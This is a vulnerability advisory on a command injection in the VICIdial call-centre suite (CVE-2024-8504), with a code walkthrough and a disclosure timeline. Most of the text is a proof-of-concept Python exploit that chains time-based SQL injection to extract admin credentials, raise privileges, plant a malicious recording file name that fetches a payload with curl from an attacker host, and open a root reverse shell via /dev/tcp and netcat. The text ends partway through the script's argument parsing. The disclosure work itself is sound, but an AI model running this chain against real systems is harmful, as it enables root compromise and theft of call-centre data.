<pre><code>KL-001-2024-012: VICIdial Authenticated Remote Code Execution<br /><br />Title: VICIdial Authenticated Remote Code Execution<br />Advisory ID: KL-001-2024-012<br />Publication Date: 2024-09-10<br />Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt<br /><br /><br />1. Vulnerability Details<br /><br /> Affected Vendor: VICIdial<br /> Affected Product: VICIdial<br /> Affected Version: 2.14-917a<br /> Platform: GNU/Linux<br /> CWE Classification: CWE-78: Improper Neutralization of Special<br /> Elements used in an OS Command<br /> ('OS Command Injection')<br /> CVE ID: CVE-2024-8504<br /><br /><br />2. Vulnerability Description<br /><br /> An attacker with authenticated access to VICIdial as an "agent"<br /> can execute arbitrary shell commands as the "root" user. This<br /> attack can be chained with CVE-2024-8503 to execute arbitrary<br /> shell commands starting from an unauthenticated perspective.<br /><br /><br />3. Technical Description<br /><br /> VICIdial is an open-source contact center suite, mainly used<br /> by call centers. The "vicidial.com" website boasts over 14,000<br /> registered installations. There is a public SVN repository to<br /> access the source code, as well as an ISO that can be used to<br /> install the software. The ISO was used in a virtual machine<br /> for testing purposes.<br /><br /> Users can be added to specific "groups" that enable them to log<br /> into the "agent" web client if that group is associated with a<br /> "campaign". This web client is for agents to manage inbound<br /> and outbound phone calls, displaying pertinent information<br /> regarding the "lead", such as the personal information of the<br /> individual on the other end of the call.<br /><br /> An agent has the ability to record the phone call using the<br /> "START RECORDING" button. When clicked, an HTTP request is sent<br /> to the server which is processed by the "manager_send.php"<br /> PHP script. The "filename" parameter included in the request<br /> is sanitized with the "preg_replace" PHP function to prevent<br /> SQL injection, as shown by this snippet:<br /><br /> if (isset($_GET["filename"])) {$filename=$_GET["filename"];}<br /> elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];}<br /> ...<br /> $filename = preg_replace("/\'|\"|\\\\|;/","",$filename);<br /><br /> The regular expression used to sanitize this parameter is<br /> very permissive, only removing single quotes, double quotes,<br /> backslashes, and semicolons.<br /><br /> Later in the execution of "manager_send.php", the "filename"<br /> variable is added to a SQL database through an "INSERT"<br /> statement, along with other user-controlled variables such as<br /> "exten":<br /><br /> $stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME',<br /> 'NEW','N','$server_ip','','Originate','$vmgr_callerid',<br /> 'Channel: $channel','Context: $ext_context',<br /> 'Exten: $exten','Priority: $ext_priority',<br /> 'Callerid: $filename','','','','','');";<br /> if ($format=='debug') {echo "\n<!-- $stmt -->";}<br /> $rslt=mysql_to_mysqli($stmt, $link);<br /><br /> On the server-side, an asyncronous cron job is executing the<br /> perl script "ADMIN_keepalive_ALL.pl":<br /><br /> vicibox11:/ # crontab -l | grep keepalive<br /> ### keepalive script for astguiclient processes<br /> * * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl<br /><br /> This perl script ensures several worker perl scripts<br /> are running. Included in these worker perl scripts is<br /> "AST_manager_send.pl", as shown by this snippet from<br /> "ADMIN_keepalive_ALL.pl":<br /><br /> if ($psline[1] =~ /AST_manager_se/)<br /> {<br /> $runningAST_send++;<br /> if ($DB) {print "AST_send RUNNING: |$psline[1]|\n";}<br /> }<br /> ...<br /> if ( ($AST_send_listen > 0) && ($runningAST_send < 1) )<br /> {<br /> if ($DB) {print "starting AST_manager_send...\n";}<br /> # add a '-L' to the command below to activate logging<br /> `/usr/bin/screen -d -m -S ASTsend<br /> $PATHhome/AST_manager_send.pl $debug_string`;<br /><br /> The "AST_manager_send.pl" script will continuously monitor the<br /> "vicidial_manager" table in the SQL database for records with<br /> the "status" column equal the string "NEW". Values from that<br /> row are then URL-encoded and used as command-line arguments<br /> to invoke the "AST_send_action_child.pl" perl script:<br /><br /> while ($endless_loop > 0)<br /> {<br /> my $stmtA = "SELECT count(*) from<br /> vicidial_manager where server_ip = '"<br /> . $conf{VARserver_ip} . "' and status = 'NEW';";<br /> ...<br /> $originate_command .= $vdm->{cmd_line_e} . "\n"<br /> if ($vdm->{cmd_line_e});<br /> $originate_command .= $vdm->{cmd_line_f} . "\n"<br /> if ($vdm->{cmd_line_f});<br /> $originate_command .= $vdm->{cmd_line_g} . "\n"<br /> if ($vdm->{cmd_line_g});<br /> ...<br /> $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;<br /> $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;<br /> $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;<br /> ...<br /> $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e}<br /> if ($vdm->{cmd_line_e});<br /> $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f}<br /> if ($vdm->{cmd_line_f});<br /> $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g}<br /> if ($vdm->{cmd_line_g});<br /> ...<br /> $launch .= " >> " . $conf{PATHlogs} . "/action_send." . logDate()<br /> if ($SYSLOG);<br /> system($launch . ' &');<br /><br /> The "AST_send_action_child.pl" will then initiate a telnet<br /> connection to the "Asterisk Call Manager" and issue various<br /> commands as they appear in the command-line arguments:<br /><br /> my $tn = new Net::Telnet (Port => $telnet_port,<br /> Prompt => '/\r\n/',<br /> Output_record_separator => '',<br /> Errmode => "return");<br /> ...<br /> $tn->open("$telnet_host");<br /> $tn->waitfor('/Asterisk Call Manager\//');<br /> ...<br /> $originate_command .= $cmd_line_e . "\n" if ($cmd_line_e);<br /> $originate_command .= $cmd_line_f . "\n" if ($cmd_line_f);<br /> $originate_command .= $cmd_line_g . "\n" if ($cmd_line_g);<br /> ...<br /> my @list_channels = $tn->cmd(String => $originate_command,<br /> Prompt => '/.*/');<br /><br /> These commands are then processed by the Asterisk<br /> Management interface (AMI). The configuration file<br /> "extensions-vicidial.conf" contains useful information on<br /> how AMI processes the value of the user-controlled "Exten"<br /> command. The following is a relevant snippet:<br /><br /> exten => 8309,1,Answer<br /> exten => 8309,2,Monitor(wav,${CALLERID(name)})<br /> exten => 8309,3,Wait(3600)<br /> exten => 8309,4,Hangup()<br /> ...<br /><br /> When supplying an "Exten" value of "8309", the "Monitor"<br /> application is invoked, which will record the current call and<br /> write the recorded data into a file. The default directory<br /> is "/var/spool/asterisk/monitor". In this case, the name<br /> of the file is derived from the "CALLERID", which is also<br /> user-controlled.<br /><br /> This can be leveraged by an attacker to write file names<br /> that contain malicious shell commands. Take for example the<br /> following HTTP request:<br /><br /> POST /agc/manager_send.php HTTP/1.1<br /> Host: REDACTED<br /> Content-Length: 279<br /> Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br /><br /> server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi=<br /><br /> Two files are created within the "/var/spool/asterisk/monitor"<br /> directory:<br /><br /> vicibox11:/ # ls -l /var/spool/asterisk/monitor<br /> total 216<br /> -rw-r--r-- 1 root root 213164 May 30 05:30 \<br /> 3133731337$(id>foobar.txt)-in.wav<br /> -rw-r--r-- 1 root root 44 May 30 05:30 \<br /> 3133731337$(id>foobar.txt)-out.wav<br /><br /> Additionally, the "AST_CRON_audio_1_move_VDonly.pl" perl script<br /> is executed every 3 minutes:<br /><br /> vicibox11:/ # crontab -l | grep VDonly<br /> 0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \<br /> /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl<br /><br /> This script searches for WAV/GSM files within the Asterisk<br /> monitor directory and uses the file names to execute several<br /> shell commands:<br /><br /> foreach(@FILES)<br /> {<br /> ...<br /> $INfile = $FILES[$i];<br /> ...<br /> if (!$T)<br /> {<br /> `mv -f "$dir1/$INfile" "$dir2/$ALLfile"`;<br /> `rm -f "$dir1/$OUTfile"`;<br /> }<br /><br /> The malicious file name is then inserted into the "mv"<br /> command. The attacker controlled "id" command is executed and<br /> the output is redirected to the file "foo.txt":<br /><br /> vicibox11:/ # ls -l /root/foobar.txt<br /> -rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt<br /><br /><br />4. Mitigation and Remediation Recommendation<br /><br /> This issue has been remediated in the public svn/trunk codebase,<br /> as of revision 3848 committed 2024-07-08.<br /><br /><br />5. Credit<br /><br /> This vulnerability was discovered by Jaggar Henry of KoreLogic,<br /> Inc.<br /><br /><br />6. Disclosure Timeline<br /><br /> 2024-07-05 : KoreLogic requests security contact from<br /> support@vicidial.com.<br /> 2024-07-08 : KoreLogic reports vulnerability details to VICIdial<br /> contact.<br /> 2024-07-08 : VICIdial notifies KoreLogic that the issue has been<br /> remediated with revision 3848 in the public<br /> Subversion repository.<br /> 2024-07-11 : KoreLogic confirms this vulnerability has been<br /> remediated. KoreLogic asks VICIdial if it is<br /> appropriate to publicly disclose the vulnerability<br /> details at this time.<br /> 2024-07-11 : VICIdial requests four weeks of embargo in order to<br /> upgrade supported customers.<br /> 2024-08-05 : KoreLogic asks VICIdial if it is appropriate to<br /> publicly disclose the vulnerability details at<br /> this time.<br /> 2024-08-09 : VICIdial requests an additional two weeks of<br /> embargo.<br /> 2024-09-10 : KoreLogic public disclosure.<br /><br /><br />7. Proof of Concept<br /><br /> Instead of executing the "id" command, a malicious bash script<br /> can be downloaded and executing using the cURL utility. The following<br /> file name is an example:<br /><br /> $(curl$IFS@attacker.com$IFS-o$IFS.c&&bash$IFS.c)<br /><br /> This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)<br /> to execute arbitrary shell commands as the root user from an unauthenticated<br /> perspective:<br /><br /> [goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh <br />192.168.2.65 -lp 1337 --bind<br /> [+] Target appears vulnerable to time-based SQL injection<br /> [~] Enumerating administrator credentials<br /> [~] 6<br /> [~] 66<br /> [~] 666<br /> [~] 6666<br /> [+] Username: 6666<br /> [~] J<br /> [~] JA<br /> [~] JAB<br /> [~] JAB1<br /> [~] JAB18<br /> [~] JAB181<br /> [~] JAB181M<br /> [~] JAB181MA<br /> [~] JAB181MAB<br /> [~] JAB181MAB1<br /> [~] JAB181MAB17<br /> [~] JAB181MAB178<br /> [~] JAB181MAB178_<br /> [~] JAB181MAB178_L<br /> [~] JAB181MAB178_LA<br /> [~] JAB181MAB178_LAn<br /> [+] Password: JAB181MAB178_LAn<br /> [+] Authenticated successfully as user "6666"<br /> [+] Updated user settings to increase privileges<br /> [+] Updated system settings<br /> [+] Created dummy campaign "korelogic_campaign"<br /> [+] Updated dummy campaign settings<br /> [+] Created dummy list for campaign<br /> [+] Found phone credentials: callin:test<br /> [+] Entered "manager" credentials to override shift enforcement<br /> [+] Authenticated as agent using phone credentials<br /> [~] Listening for incoming connections...<br /> [+] Received cURL request from 192.168.2.136<br /> Connection from 192.168.2.136:56980<br /> vicibox11:~ # id<br /> uid=0(root) gid=0(root) groups=0(root)<br /><br /> #########################<br /> ## unauth2rce.py ##<br /> #########################<br /><br /> import os<br /> import re<br /> import socket<br /> import string<br /> import random<br /> import urllib3<br /> import argparse<br /> import requests<br /> import threading<br /> from base64 import b64encode<br /> from bs4 import BeautifulSoup<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br /> class Exploit:<br /> def __init__(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None):<br /> """<br /> This 'sleep' duration is derived by the average response time<br /> multiplied by this value. A server with an average response time<br /> of 10ms is given a 'sleep' duration of 300ms. Tune as needed.<br /> """<br /> self.SLEEP_MULTIPLIER = 30<br /><br /> self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}<br /> self.ALLOWED_SCHEMES = ['http', 'https']<br /> if proxy:<br /> self.REQUEST_PROXIES = {<br /> 'http': proxy,<br /> 'https': proxy<br /> }<br /> else:<br /> self.REQUEST_PROXIES = {}<br /><br /> self.TARGET_IP = rhost<br /> self.TARGET_PORT = rport<br /><br /> self.PAYLOAD_WEBSERVER_HOST = whost<br /> self.PAYLOAD_WEBSERVER_PORT = wport<br /><br /> self.REVERSE_SHELL_HOST = lhost<br /> self.REVERSE_SHELL_PORT = lport<br /><br /> self.BIND = bind<br /><br /> self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'<br /> self.RANDOM_CHARSET = string.ascii_uppercase + string.digits<br /><br /> # returns a URI with 'http' or 'https'<br /> def determine_target_uri(self):<br /> for scheme in self.ALLOWED_SCHEMES:<br /> target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'<br /> try:<br /> response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)<br /> if self.VICIDIAL_FINGERPRINT in response.text:<br /> return target_uri<br /> except:<br /> pass<br /><br /> # returns a session object with custom proxies/headers if supplied<br /> def build_requests_session(self):<br /> self.base_uri = self.determine_target_uri()<br /> session = requests.Session()<br /> session.proxies = self.REQUEST_PROXIES<br /> session.verify = False<br /> return session<br /><br /> # returns a random string of a given length<br /> def random(self, length):<br /> return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))<br /><br /> # returns a timedelta representing the response time of an injected SQL query<br /> def time_sql_query(self, query, session):<br /> username = f"goolicker', '', ({query}));# "<br /> credentials = f'{username}:password'<br /> credentials_base64 = b64encode(credentials.encode()).decode()<br /> auth_header = f'Basic {credentials_base64}'<br /><br /> target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'<br /> request_params = {'function': 'log_custom_report', self.random(5): self.random(5)}<br /> request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}<br /><br /> response = session.get(target_uri, params=request_params, headers=request_headers)<br /> return response.elapsed<br /><br /> # returns a boolean if time-based SQL injection is possible, additionally<br /> # sets the best 'sleep' duration based on response times<br /> def is_vulnerable(self, session, baseline_iterations=5):<br /> # determine average baseline response time<br /> zero_sleep_query = f'SELECT (NULL)'<br /> total_baseline_time = 0<br /> for _ in range(baseline_iterations):<br /> execution_time = self.time_sql_query(zero_sleep_query, session)<br /> total_baseline_time += execution_time.total_seconds()<br /><br /> average_baseline_response_time = total_baseline_time / baseline_iterations<br /> self.sql_baseline_time = average_baseline_response_time<br /><br /> # determine if injected sleep query impacts response time<br /> sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)<br /> sleep_query = f'SELECT (sleep({sleep_length}))'<br /> execution_time = self.time_sql_query(sleep_query, session)<br /> if execution_time.total_seconds() >= sleep_length:<br /> self.sql_sleep_length = sleep_length<br /> return True<br /> else:<br /> return False<br /><br /> # determine if a character at a specific indice of a query result returns a<br /> # boolean 'true' when compared to a given character using the supplied operator<br /> def check_indice_of_query_result(self, session, query, indice, operator, ordinal):<br /> parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, <br />sleep({self.sql_sleep_length}), null)'<br /> execution_time = self.time_sql_query(parent_query, session)<br /> return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)<br /><br /> def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):<br /> # convert charset to ordinals<br /> all_characters = sorted([ord(char) for char in charset])<br /> reduced_characters = all_characters<br /><br /> # use a binary search and enumerate query results<br /> result = ''<br /> indice = 1<br /> indice_could_be_null = True<br /> while True:<br /> """<br /> we check if the value is NULL once per indice<br /> to determine when a string ends. this adds one<br /> request per indice, but since every boolean 'true'<br /> results in a delay this is faster than counting<br /> the length of the string before enumrating.<br /> """<br /> if indice_could_be_null:<br /> if self.check_indice_of_query_result(session, query, indice, '=', '0'):<br /> break<br /> else:<br /> indice_could_be_null = False<br /><br /> # enumerate each character of query result with a binary search<br /> middle_indice = len(reduced_characters) // 2<br /> middle_ordinal = reduced_characters[middle_indice]<br /> if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):<br /> if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):<br /> reduced_characters = all_characters<br /> result += chr(middle_ordinal)<br /> indice += 1<br /> indice_could_be_null = True<br /> print(f'[~] {result}')<br /> else:<br /> reduced_characters = reduced_characters[:middle_indice]<br /> else:<br /> reduced_characters = reduced_characters[middle_indice:]<br /><br /> return result<br /><br /> def poison_recording_files(self, session, username, password):<br /> # authenticate using administrator credentials<br /> credentials = f'{username}:{password}'<br /> credentials_base64 = b64encode(credentials.encode()).decode()<br /> auth_header = f'Basic {credentials_base64}'<br /><br /> target_uri = f'{self.base_uri}/vicidial/admin.php'<br /> request_params = {'ADD': '3', 'user': username}<br /> request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}<br /><br /> response = session.get(target_uri, params=request_params, headers=request_headers)<br /> if response.status_code == 200:<br /> print(f'[+] Authenticated successfully as user "{username}"')<br /> else:<br /> print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?')<br /> return<br /><br /> # update user settings to increase privileges beyond default administrator<br /> user_settings_body = {<br /> "ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password,<br /> "force_change_password":"N","full_name":"KoreLogic","user_level":"9",<br /> "user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic",<br /> "active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"",<br /> "user_location":"","user_group_two":"","territory":"","user_nickname":"",<br /> "user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1",<br /> "hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0",<br /> "next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED",<br /> "agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1",<br /> "closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English",<br /> "vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED",<br /> "alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE",<br /> "agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y",<br /> "hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE",<br /> "user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE",<br /> "max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1",<br /> "inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0",<br /> "wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"",<br /> "campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"",<br /> "ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10",<br /> "LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0",<br /> "GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"",<br /> "custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"",<br /> "qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0",<br /> "hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0",<br /> "admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"",<br /> "view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1",<br /> "modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1",<br /> "delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1",<br /> "modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1",<br /> "delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1",<br /> "delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1",<br /> "delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1",<br /> "delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1",<br /> "delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1",<br /> "delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1",<br /> "modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1",<br /> "modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1",<br /> "modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1",<br /> "modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1",<br /> "delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1",<br /> "admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0",<br /> "two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0",<br /> "api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1",<br /> "download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT"<br /> }<br /> response = session.post(target_uri, headers=request_headers, data=user_settings_body)<br /> print('[+] Updated user settings to increase privileges')<br /><br /> # update system settings without clobbering existing configuration<br /> response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'})<br /> soup = BeautifulSoup(response.text, 'html.parser')<br /> form_tag = soup.find('form')<br /> system_settings_body = {}<br /> for input_tag in form_tag.find_all('input'):<br /> setting_name = input_tag['name']<br /> setting_value = input_tag['value']<br /> system_settings_body[setting_name] = setting_value<br /><br /> for select_tag in form_tag.find_all('select'):<br /> setting_name = select_tag['name']<br /> selected_tag = select_tag.find('option', selected=True)<br /> if not selected_tag:<br /> continue<br /> setting_value = selected_tag.text<br /> system_settings_body[setting_name] = setting_value<br /><br /> system_settings_body['outbound_autodial_active'] = '0'<br /> response = session.post(target_uri, headers=request_headers, data=system_settings_body)<br /> print('[+] Updated system settings')<br /><br /> # create dummy campaign<br /> campaign_settings_body = {<br /> "ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign",<br /> "campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"",<br /> "web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0",<br /> "next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"",<br /> "get_call_launch":"NONE","SUBMIT":"SUBMIT"<br /> }<br /> response = session.post(target_uri, headers=request_headers, data=campaign_settings_body)<br /> print('[+] Created dummy campaign "korelogic_campaign"')<br /><br /> # update dummy campaign<br /> update_campaign_body = {<br /> "ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y",<br /> "campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN",<br /> "list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y",<br /> "hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1",<br /> "adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END"<br /> }<br /> response = session.post(target_uri, headers=request_headers, data=update_campaign_body)<br /> print('[+] Updated dummy campaign settings')<br /><br /> # create dummy list<br /> list_settings_body = {<br /> "ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"",<br /> "campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT"<br /> }<br /> response = session.post(target_uri, headers=request_headers, data=list_settings_body)<br /> print('[+] Created dummy list for campaign')<br /><br /> # fetch credentials for a phone login<br /> response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'})<br /> soup = BeautifulSoup(response.text, 'html.parser')<br /> phone_uri_path = soup.find('a', string='MODIFY')['href']<br /><br /> response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers)<br /> soup = BeautifulSoup(response.text, 'html.parser')<br /> phone_extension = soup.find('input', {'name': 'extension'})['value']<br /> phone_password = soup.find('input', {'name': 'pass'})['value']<br /> recording_extension = soup.find('input', {'name': 'recording_exten'})['value']<br /> print(f'[+] Found phone credentials: {phone_extension}:{phone_password}')<br /><br /> # authenticate to agent portal with phone credentials<br /> manager_login_body = {<br /> "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension,<br /> "phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"",<br /> "LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password,<br /> "MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password,<br /> "MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT"<br /> }<br /> response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body)<br /> print(f'[+] Entered "manager" credentials to override shift enforcement')<br /><br /> agent_login_body = {<br /> "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"",<br /> "LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension,<br /> "phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373",<br /> }<br /> response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body)<br /> print(f'[+] Authenticated as agent using phone credentials')<br /><br /> # insert malicious recording<br /> session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0]<br /> session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]<br /> malicious_filename = <br />f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"<br /> record1_body = {<br /> "server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password,<br /> "ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename,<br /> "exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES",<br /> "uniqueid":"","FROMapi":""<br /> }<br /> response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body)<br /> recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0]<br /><br /> # stop malicious recording to prevent file size from growing<br /> record2_body = {<br /> "server_ip":self.TARGET_IP,"session_name":session_name,"user":username,<br /> "pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default",<br /> "filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1",<br /> "FROMvdc":"YES","uniqueid":"","FROMapi":""<br /> }<br /> response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, <br />data=record2_body)<br /><br /> # returns administrator username and password by<br /> # exploiting time-based SQL injection.<br /> def extract_admin_credentials(self, session):<br /> print('[~] Enumerating administrator credentials')<br /> username_charset = string.ascii_letters + string.digits<br /> admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = <br />'1' LIMIT 1"<br /> admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)<br /> print(f'[+] Username: {admin_username}')<br /><br /> password_charset = string.ascii_letters + string.digits + '-.+/=_'<br /> admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"<br /> admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)<br /> print(f'[+] Password: {admin_password}')<br /><br /> return admin_username, admin_password<br /><br /> # emulates a webserver to deliver exploit script<br /> def payload_webserver(self):<br /> server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br /> server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT)))<br /> server.listen(1)<br /><br /> while True:<br /> client, incoming_address = server.accept()<br /> message = client.recv(100)<br /> if b'User-Agent: curl' in message:<br /> break<br /> else:<br /> client.close()<br /><br /> print(f'[+] Received cURL request from {incoming_address[0]}')<br /> exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1"<br /> http_response = f"HTTP/1.1 200 OK\r\n"<br /> http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"<br /> http_response += exploit_script<br /> client.sendall(http_response.encode())<br /> client.close()<br /><br /> # starts a netcat process to catch the incoming reverse shell<br /> def netcat_listener(self):<br /> os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}')<br /><br /> # binds to provided addresses and handles incoming connections<br /> def prepare_listeners(self):<br /> webserver = threading.Thread(target=self.payload_webserver)<br /> netcat = threading.Thread(target=self.netcat_listener)<br /> print('[~] Listening for incoming connections...')<br /> netcat.start()<br /> webserver.start()<br /><br /><br /> # establish a reverse shell as root from the vicidial instance<br /> def shell(self):<br /> session = self.build_requests_session()<br /> is_vulnerable = self.is_vulnerable(session)<br /> if is_vulnerable:<br /> print('[+] Target appears vulnerable to time-based SQL injection')<br /> else:<br /> print('[-] Failed to perform time-based SQL injection')<br /> return<br /><br /> username, password = self.extract_admin_credentials(session)<br /> self.poison_recording_files(session, username, password)<br /><br /> # prepare exploit listeners if configured<br /> if self.BIND: self.prepare_listeners()<br /><br /> if __name__ == '__main__':<br /> argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root')<br /> required = argparser.add_argument_group('Required Arguments')<br /> optional = argparser.add_argument_group('Optional Arguments')<br /> required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')<br /> required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')<br /> 